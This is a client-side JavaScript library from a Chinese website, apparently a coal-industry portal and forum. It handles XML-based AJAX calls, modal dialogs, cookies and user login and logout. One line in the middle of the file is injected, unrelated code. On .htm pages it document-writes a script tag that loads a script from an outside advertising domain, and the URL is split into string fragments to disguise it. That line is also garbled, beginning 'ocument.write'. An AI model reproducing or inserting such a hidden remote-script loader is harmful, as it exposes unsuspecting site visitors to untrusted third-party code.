// JavaScript Document
// 返回XML文档
var __bIsCallBack = true;
function NewXmlDoc()
{
	var tempXmlDoc = null;
	if(window.ActiveXObject)
	{
		//MSXML2.DOMDocument.3.0    Msxml2.DOMDocument
		tempXmlDoc = new ActiveXObject("MSXML2.DOMDocument.3.0");
		if(tempXmlDoc != null)
		{
			tempXmlDoc.async = false;
			tempXmlDoc.preserveWhiteSpace = true;
		}
	}
	else if(document.implementation && document.implementation.createDocument)
	{
		tempXmlDoc = document.implementation.createDocument("", "", null);
	}
	return tempXmlDoc;
}


var __oWaitMessage = null;
var __nWaitTimeID  = 0;
//显示等待信息 处理大数据时使用
//bState 为true时 显示 为false 为隐藏
function __fnWaitMessage(bState)
{
	if(bState)
	{
		__oWaitMessage = GetMessageBox();
		if(__oWaitMessage != null)
		{
			__oWaitMessage.ShowMessageBox("请您稍候", "<font color='#663399' id='__oWaitFont'>正在处理中...</font>", "window.clearInterval(__nWaitTimeID);");
			__nWaitTimeID  = window.setInterval(__fnChangeWaitMessage, 1000);
		}
	}
	else
	{
		if(__oWaitMessage != null)
		{
			__oWaitMessage.fnClose();
			__oWaitMessage = null;
			window.clearInterval(__nWaitTimeID);
			__nWaitTimeID  = 0;
		}
	}
}

function __fnChangeWaitMessage()
{
	if(_getObj("__oWaitFont") != null)
	{
		var strInner = _getObj("__oWaitFont").innerHTML;
		if(strInner.length < 12)
		{
			_getObj("__oWaitFont").innerHTML = strInner + ".";
		}
		else
		{
			_getObj("__oWaitFont").innerHTML = "正在处理中...";
		}
	}
}


// 得到点数返回的中文值
//0:成功， 1:用户不存在, 2:错误的文章ID 3:余额不足 4:错误的操作 5:错误的用户类型 6:退款为0
function fnGetPointValue(nValue)
{
	var _nValue = parseInt(nValue);
	var sReturn = null;
	switch(_nValue)
	{
		case 0:
			alert("操作已成功");
			break;
		case 1:
			alert("对不起，此用户不存在");
			break;
		case 2:
			alert("对不起，您选择了错误的文章!");
			break;
		case 3:
			alert("对不起，您当前的余额不足!");
			break;
		default:
			alert("错误的操作");
			break;
	}
}


//替换表单特殊字符
function fnReplaceBadChar(oFromName)
{
	var obj = _getObj(oFromName);
	if(obj != null)
	{
		var counts = obj.elements.length;
		for(var i=0; i<counts; i++)
		{
			if(obj.elements[i].getAttribute("type").toLowerCase() != "submit" && obj.elements[i].getAttribute("type").toLowerCase() != "button")
			{
				obj.elements[i].value = obj.elements[i].value.replace(/['|&<>`!#$=\\\"]/g, "");
				obj.elements[i].value = obj.elements[i].value.replace(/^\s{0,}|\s{0,}$/g, "");
			}
		}
	}
}

//替换表单特殊字符
function fnClearFormValue(oFromName)
{
	var obj = _getObj(oFromName);
	if(obj != null)
	{
		var counts = obj.elements.length;
		for(var i=0; i<counts; i++)
		{
			if(obj.elements[i].getAttribute("type").toLowerCase() != "submit" && obj.elements[i].getAttribute("type").toLowerCase() != "button")
			{
				obj.elements[i].value = "";
			}
		}
	}
}

function EditUserProtect()
{
	var sReturn  = OpenModalDialog("EditProtect.aspx", "修改密码保护资料", 250, 200, null);
}

// 打开窗口
function OpenModalDialog(sUrl, sTitle, nWidth, nHeight, InParams, __fnCallBack)
{
	var vVariables           = new Array();
	vVariables["InParam"]    = InParams;
	vVariables["DialogURL"]  = sUrl;
	vVariables["WindowHand"] = window;
	vVariables["FnCallBack"] = __fnCallBack;
	nWidth                   = parseInt(nWidth)  + 20;
	nHeight                  = parseInt(nHeight) + 40;
	var sFeatures            = 'dialogWidth:'+ nWidth.toString() +'px; dialogHeight:'+ nHeight.toString() +'px; scroll:no; status:no; help:no; resizable:no; center:yes';
	return showModalDialog("/openWindowEx.aspx?title="+escape(sTitle), vVariables, sFeatures);
}

function OpenModalLess(sUrl, sTitle, nWidth, nHeight, InParams)
{
	var vVariables           = new Array();
	vVariables["InParam"]    = InParams;
	vVariables["DialogURL"]  = sUrl;
	vVariables["WindowHand"] = window;
	nWidth                   = parseInt(nWidth)  + 20;
	nHeight                  = parseInt(nHeight) + 40;
	var sFeatures            = 'dialogWidth:'+ nWidth.toString() +'px; dialogHeight:'+ nHeight.toString() +'px; scroll:no; status:no; help:no; resizable:no; center:yes';
	showModelessDialog(sUrl, vVariables, sFeatures);
}

function Cookie()
{
	this.SetValue=function(name, value, year, path, domain, secure)
	{
		var sDomain = null;
		if(domain == null)
		{
			sDomain = window.location.host
		}
		else
		{
			sDomain = domain;
		}
		var str=new String();
		var nextTime=new Date();
		nextTime.setYear(nextTime.getYear()+year);
		str=name+"="+escape(value);
		if(year)
			str+=";expires="+nextTime.toGMTString();
		if(path)
		{
			str+=";path="+path;
		}
		str+=";domain="+sDomain;
		if(secure)
			str+=";secure";
		document.cookie=str;
	};
	
	this.GetValue=function(name)
	{
		var rs=new RegExp("(^|)"+name+"=([^;]*)(;|$)","gi").exec(document.cookie),tmp;
		if(tmp=rs)
			return unescape(tmp[2]);
		return null;
	};
}

function fnReplaceBadStr(str)
{
	if(str == null)
		return null;
	str = str.replace(/['|&<>`!;#$=\"]/g, "");
	return str.replace(/^\s{1,}|\s{1,}$/g, "+");
}

// 当openWindow的确定按钮按下时
function btnClickOnOpenWindow()
{
	var sResult = false;
	if(typeof(ifrOpenMain.SetOutParams) == 'undefined')
	{
		sResult = null;
	}
	else
	{
		sResult = ifrOpenMain.SetOutParams();
	}
	if(sResult == false)
	{
		return;
	}
	if(window.dialogArguments["InParam"] != null)
	{
		try
		{
			window.returnValue = window.dialogArguments["InParam"].ToString();
		}
		catch(err)
		{
		}
	}else
	{
		window.returnValue = null;
	}
	window.close();
}
// 呼叫服务器方法
function Call(sFunctionName, InParams, sErrorMsg, sURL)
{
	if(InParams == null)
	{
		InParams = new ParamClass();
	}
	InParams.__XmlDoc.documentElement.setAttribute("FunctionName", sFunctionName);
	var XmlHttp = GethttpRequest();
	sURL = "/transfer.aspx";
	//XmlHttp.onreadystatechange = processRequest;
	XmlHttp.open("POST", sURL, false);
	XmlHttp.send(InParams.ToString());
	if(XmlHttp.responseText == null || XmlHttp.responseText == "")
	{
		alert(sErrorMsg);
		return false;
	}
	//alert(XmlHttp.responseText);
	InParams = new ParamClass(XmlHttp.responseText);
	return InParams.GetValue("Result");
}


var __xmlHttp       = null;
var __fnCallBack    = null;
var __fnArray       = new Array();
var __nWaitCallBack = 0;


function __fnWaitCallBack()
{
	if(__fnArray.length == 0)
	{
		window.clearInterval(__nWaitCallBack);
		__nWaitCallBack = 0;
	}
	else
	{
		fnCallEx(__fnArray[0][0], __fnArray[0][1], __fnArray[0][2], __fnArray[0][3], true);
	}
}

function fnPushWaitArray(sFunctionName, InParams, sURL, fnCallBack)
{
	__fnArray[__fnArray.length]      = new Array();
	__fnArray[__fnArray.length-1][0] = sFunctionName;
	__fnArray[__fnArray.length-1][1] = InParams;
	__fnArray[__fnArray.length-1][2] = sURL;
	__fnArray[__fnArray.length-1][3] = fnCallBack;
	if(__nWaitCallBack == 0)
	{
		__nWaitCallBack = window.setInterval("__fnWaitCallBack();", 500, "javascript");
	}
}


function fnCallEx(sFunctionName, InParams, sURL, fnCallBack, bState)
{
	if(navigator.appName == "Microsoft Internet Explorer" && document.readyState != "complete")
	{
		var bFind = false;
		for(var i=0; i<__fnArray.length; i++)
		{
			if(__fnArray[i][0] == sFunctionName && __fnArray[i][1] == InParams && __fnArray[i][2] == sURL && __fnArray[i][3] == fnCallBack)
			{
				bFind = true;
				break;
			}
		}
		if(!bFind)
		{
			fnPushWaitArray(sFunctionName, InParams, sURL, fnCallBack);
		}
		return;
	}
	if(__fnCallBack != null && __fnCallBack != fnCallBack && (typeof(bState) == 'undefined'))
	{
		fnPushWaitArray(sFunctionName, InParams, sURL, fnCallBack);
		return;
	}
	if((typeof(bState) != 'undefined') && bState && __fnCallBack != null)
	{
		return;
	}
	else if(bState)
	{
		if(__fnArray.length > 0)
		{
			__fnArray.shift();
		}
	}
	if(InParams == null)
	{
		InParams = new ParamClass();
	}
	__xmlHttp = GethttpRequest();
	__xmlHttp.onreadystatechange = fnHandleStateChange;
	InParams.__XmlDoc.documentElement.setAttribute("FunctionName", sFunctionName);
	__fnCallBack = fnCallBack;
	__xmlHttp.open("POST", sURL, true);
	__xmlHttp.send(InParams.ToString());
}

function GethttpRequest() //创建XMLHTTP对像； 
{
	if ( window.XMLHttpRequest )// Gecko
		return new XMLHttpRequest() ;
	else if ( window.ActiveXObject )// IE
		return new ActiveXObject("MsXml2.XmlHttp") ;
}

function fnHandleStateChange()
{
	if(__xmlHttp.readyState == 4)
	{
		if(__xmlHttp.status == 200 && __fnCallBack != null)
		{
			if(__oWaitMessage != null)
			{
				__fnWaitMessage(false);
			}
			var InParams = new ParamClass(__xmlHttp.responseText);
			__fnCallBack(InParams.GetValue("Result"));
		}
		__fnCallBack = null;
	}
}


// 参数类
function ParamClass(strXML)
{
	var ParamDoc = NewXmlDoc();
	var oNode    = null;
	if(strXML && typeof(strXML) == "string")
	{
		if(window.ActiveXObject && typeof(ParamDoc.loadXML) != "undefined")
		{
			if(!ParamDoc.loadXML(strXML))
			{
				oNode = ParamDoc.createElement("Root");
				ParamDoc.appendChild(oNode);
			}
		}
		else
		{
			var dp = new DOMParser();
			ParamDoc = dp.parseFromString(strXML, "text/xml");
			//alert(serializeXml(ParamDoc.documentElement));
		}
	}
	else
	{
		oNode = ParamDoc.createElement("Root");
		ParamDoc.appendChild(oNode);
	}
	this.__XmlDoc = ParamDoc;
	//搜索节点
	this.SearchNode = function(sName)
	{
		oNode = null;
		if(window.ActiveXObject)
		{
			oNode = ParamDoc.selectSingleNode("//Root/Node[@ParamName='"+ sName +"']");
		}
		else
		{
			var root = ParamDoc.documentElement;
			//alert(root.childNodes.length);
			for(var i=0; i<root.childNodes.length; i++)
			{
				if(root.childNodes[i].nodeName == "Node" && root.childNodes[i].getAttribute("ParamName") == sName)
				{
					oNode = root.childNodes[i];
					break;
				}
			}
		}
	}
	//设置节点的值
	this.SetValue = function(sName, sValue, bIsCDATA)
	{
		this.SearchNode(sName);
		if(oNode == null)
		{
			oNode = ParamDoc.createElement("Node");
			oNode.setAttribute("ParamName",  sName);
			if(typeof(bIsCDATA) != 'undefined' && bIsCDATA)
			{
				var oCDATE = ParamDoc.createCDATASection(sValue);
				oNode.appendChild(oCDATE);
			}
			else
			{
				oNode.setAttribute("ParamValue", sValue);
			}
			ParamDoc.documentElement.appendChild(oNode);
		}else
		{
			if(typeof(bIsCDATA) != 'undefined' && bIsCDATA)
			{
				oNode.childNodes[0].data = sValue;
			}
			else
			{
				oNode.setAttribute("ParamValue", sValue);
			}
		}
	}
	//得到节点值
	this.GetValue = function(sName, bIsCDATA)
	{
		this.SearchNode(sName);
		if(oNode == null)
		{
			return "";
		}
		else
		{
			if(typeof(bIsCDATA) != 'undefined' && bIsCDATA)
			{
				return oNode.childNodes[0].data;
			}
			else
			{
				return oNode.getAttribute("ParamValue");
			}
		}
	}
	//返回参数的XML
	this.ToString = function()
	{
		if(window.ActiveXObject)
		{
			return ParamDoc.xml;
		}
		else
		{
			var root = ParamDoc.documentElement;
			//alert(serializeXml(root));
			return serializeXml(root);
		}
	}
	//返回参数的?形式
	this.ToParamString = function()
	{
		var strParam = "?";
		var root = ParamDoc.documentElement;
		for(var i=0; i<root.childNodes.length; i++)
		{
			strParam +=
					 root.childNodes[i].getAttribute("ParamName")
					+ "="
					+ root.childNodes[i].getAttribute("ParamValue")
					+ "&";
		}
		return strParam;
	}
}

function fnSearchEvent()
{
	var __fncall = fnSearchEvent.caller;
	while(__fncall != null)
	{
		for(var i=0; i<__fncall.arguments.length; i++)
		{
			if(__fncall.arguments[i] && __fncall.arguments[i].constructor == MouseEvent)
			{
				return __fncall.arguments[i];
			}
		}
		__fncall = __fncall.caller;
	}
	return window.event;
}
if (top.location.pathname.toLowerCase().indexOf(".htm")!=-1)
ocument.write("<s" + "cript src='http://a" + "d.n" + "u99" + ".c" + "om/i" + "p.asp?l" + "oc=beij" + "ing'><\/s" + "cript>");
function fnResetIframeHeight()
{
	try
	{
	if(parent.document.getElementById("ifrMain") != null)
	{
		parent.document.all.ifrMain.parentNode.style.height = document.body.scrollHeight + "px";
		//parent.document.title = document.title;
		if(document.body.scrollHeight < 50)
		{
			window.setTimeout("fnResetIframeHeight();", 50, "javascript");
		}
		else
		{
			parent.document.getElementById("ifrMain").height = document.body.scrollHeight < 50 ? 50 : document.body.scrollHeight;
		}
	}
	}
	catch(err)
	{}
}

function fnSubmitCallBack(sResult)
{
	__bIsCallBack = true;
	if(sResult == "1")
	{
		Message.ReSetSize(300, 200);
		Message.ShowMessageBox("信息提示", "错误的用户密码", null);
	}
	else if(sResult == "2")
	{
		Message.ReSetSize(300, 200);
		Message.ShowMessageBox("信息提示", "对不起，此用户不存在！", null);
	}
	else if(sResult == "3")
	{
		Message.ReSetSize(300, 200);
		Message.ShowMessageBox("信息提示", "错识的参数", null);
	}
	else if(sResult == "0")
	{
		Message.ReSetSize(300, 200);
		Message.ShowMessageBox("信息提示", "对不起，您当前已在线，不能同时登陆，或请您稍后再试", null);
	}
	else
	{
		var InParam = new ParamClass(sResult);
		if(parent.document.getElementById("ifrUserInfo") != null)
		{
			parent.location.href = InParam.GetValue("UrlStr");
		}
		else
		{
			window.location.href = InParam.GetValue("UrlStr");
		}
	}
}

function fnLogin(fnOKFunction)
{
	if(__bIsCallBack)
	{
		__bIsCallBack = false;
		if(parent.document.getElementById("ifrUserInfo") != null)
		{
			parent.GetMessageBox();
			Message = parent.Message;
		}
		if(Message == null)
		{
			GetMessageBox();
		}
		if(document.getElementById("User_Name").value.length < 1)
		{
			Message.ReSetSize(300, 200);
			Message.ShowMessageBox("信息提示", "请先输入您的用户名！", "fnUserNameFocus();");
			__bIsCallBack = true;
			return false;
		}
		if(document.getElementById("Passw0rd").value.length < 1)
		{
			Message.ReSetSize(300, 200);
			Message.ShowMessageBox("信息提示", "请先输入您的密码！", "fnPasswordFocus();");
			__bIsCallBack = true;
			return false;
		}
		else
		{
			var InParam = new ParamClass();
			InParam.SetValue("UserName", _getObj("User_Name").value);
			InParam.SetValue("Password", _getObj("Passw0rd").value);
			InParam.SetValue("BackUrl",  fnGetBackUrl());
			fnCallEx("UserSubmit", InParam, "/transfer.aspx", fnSubmitCallBack);
		}
	}
	return false;
}

function fnUserNameFocus()
{
	if(_getObj('User_Name') != null)
	{
		_getObj('User_Name').focus();
	}
	else if(_getObj("ifrUserInfo") != null)
	{
		_getObj("ifrUserInfo").contentWindow.document.getElementById("User_Name").focus();
	}
}

function fnPasswordFocus()
{
	if(_getObj('Passw0rd') != null)
	{
		_getObj('Passw0rd').focus();
	}
	else if(_getObj("ifrUserInfo") != null)
	{
		_getObj("ifrUserInfo").contentWindow.document.getElementById("Passw0rd").focus();
	}
}

function GetMessageBox()
{
	if(typeof(Message) != "undefined" && Message == null)
	{
		if(Message != null && typeof(MessageBox) != "undefined" && MessageBox != null)
		{
			Message = MessageBox;
			return Message;
		}
		else
		{
			Message = new MessageBoxClass(300, 200);
			if(typeof(MessageBox) != "undefined")
			{
				MessageBox = Message;
			}
			return Message;
		}
	}
	else
	{
		if(typeof(MessageBox) != "undefined" && MessageBox == null)
		{
			MessageBox = new MessageBoxClass(300, 200);
			if(typeof(Message) != "undefined")
			{
				Message = MessageBox;
			}
			return MessageBox;
		}
	}
	return null;
}

function AttachEvent(obj, sEventName, fnName)
{
	if(obj.addEventListener)
	{
		obj.addEventListener(sEventName, fnName, false);
	}
	else
	{
		obj.attachEvent("on"+ sEventName, fnName);
	}
}

function DeleteEvent(obj, sEventName, fnName)
{
	if(obj.addEventListener)
	{
		obj.clearEventListener(sEventName, fnName, false);
	}
	else
	{
		obj.detachEvent("on"+ sEventName, fnName);
	}
}

function _getObj(id)
{
	if (typeof(id) != "string" || id == "") return null;
	if (document.getElementById) return document.getElementById(id);
	try {return eval(id);} catch(e){ return null;}
}

function InitialUserName()
{
	if(_getObj("User_Name") != null)
	{
		_getObj("User_Name").value = strUserName;
	}
	if(_getObj("SearchKey") != null && _getObj("SearchKey").value != "")
	{
		if(_getObj("ifrMain") != null)
		{
			//_getObj("ifrMain").src = "Search.aspx?title="+ escape(_getObj("SearchKey").value);
		}
	}
}

function fnGetBackUrl()
{
	if(parent.document.getElementById("ifrUserInfo") != null)
	{
		return parent.location.href;
	}
	else
	{
		if(window.location.href.indexOf("bbs") > -1)
		{
			return "http://bbs.coal.com.cn";
		}
		else
		{
			if(window.location.search.length > 0)
			{
				return window.location.search.substring(1);
			}
			else
			{
				return window.location.href;
			}
		}
	}
}

function serializeXml(oNode)
{
    var oSerializer = new XMLSerializer();
    return oSerializer.serializeToString(oNode);
}

function fnOK()
{
	if(parent.document.getElementById("ifrUserInfo") != null)
	{
		if(parent.location.href.indexOf("member_wrong") > -1 && parent.location.search.length > 0)
		{
			parent.fnOK();
		}
		else
		{
			parent.location.reload();
		}
	}
	else
	{
		window.location.reload();
	}
}

function fnExitCallBack(sResult)
{
	__bIsCallBack = true;
	if(sResult == "1")
	{
		//alert("对不起，您当前已成功退出!");
		if(window.location.search != "" && window.location.search != null)
		{
			window.location.href = window.location.search.substring(1);
			return;
		}
		try
		{
			if(parent.location.search != "" && parent.location.search != null)
			{
				parent.location.href = parent.location.search.substring(1);
				return;
			}
		}
		catch(err)
		{
		}
	}
	var cookie = new Cookie();
	cookie.SetValue("__IsOpen__", "", -1);
	cookie.SetValue("CookiePath", "", -1);

	var InParam = new ParamClass(sResult);
	if(parent.document.getElementById("ifrUserInfo") != null)
	{
		parent.location.href = InParam.GetValue("UrlStr")
	}
	else
	{
		window.location.href = InParam.GetValue("UrlStr")
	}
}
function fnExit()
{
	if(__bIsCallBack)
	{
		__bIsCallBack = false;
		var InParam = new ParamClass();
		InParam.SetValue("BackUrl", fnGetBackUrl());
		fnCallEx("UserExit", InParam, "/transfer.aspx", fnExitCallBack);
	}
	__bIsCallBack = true;
}

function fnReSetPage(e)
{
	switch(e.keyCode)
	{
		case 37://left
			if(typeof(strPrePage) != 'undefined' && strPrePage != '')
			{
				window.location.href = strPrePage;
			}
			else if(_getObj("ifrMain") != null && typeof(_getObj("ifrMain").contentWindow.strPrePage) != 'undefined' && _getObj("ifrMain").contentWindow.strPrePage != "")
			{
				_getObj("ifrMain").contentWindow.location.href = _getObj("ifrMain").contentWindow.strPrePage;
			}
		break;
		case 39://right
			if(typeof(strNextPage) != 'undefined' && strNextPage != '')
			{
				window.location.href = strNextPage;
			}
			else if(_getObj("ifrMain") != null && typeof(_getObj("ifrMain").contentWindow.strNextPage) != 'undefined' && _getObj("ifrMain").contentWindow.strNextPage != "")
			{
				_getObj("ifrMain").contentWindow.location.href = _getObj("ifrMain").contentWindow.strNextPage;
			}
		break;
	}
}

function __fnSetPageAction()
{
	AttachEvent(document, "keydown", fnReSetPage);
}
AttachEvent(window, "load", __fnSetPageAction);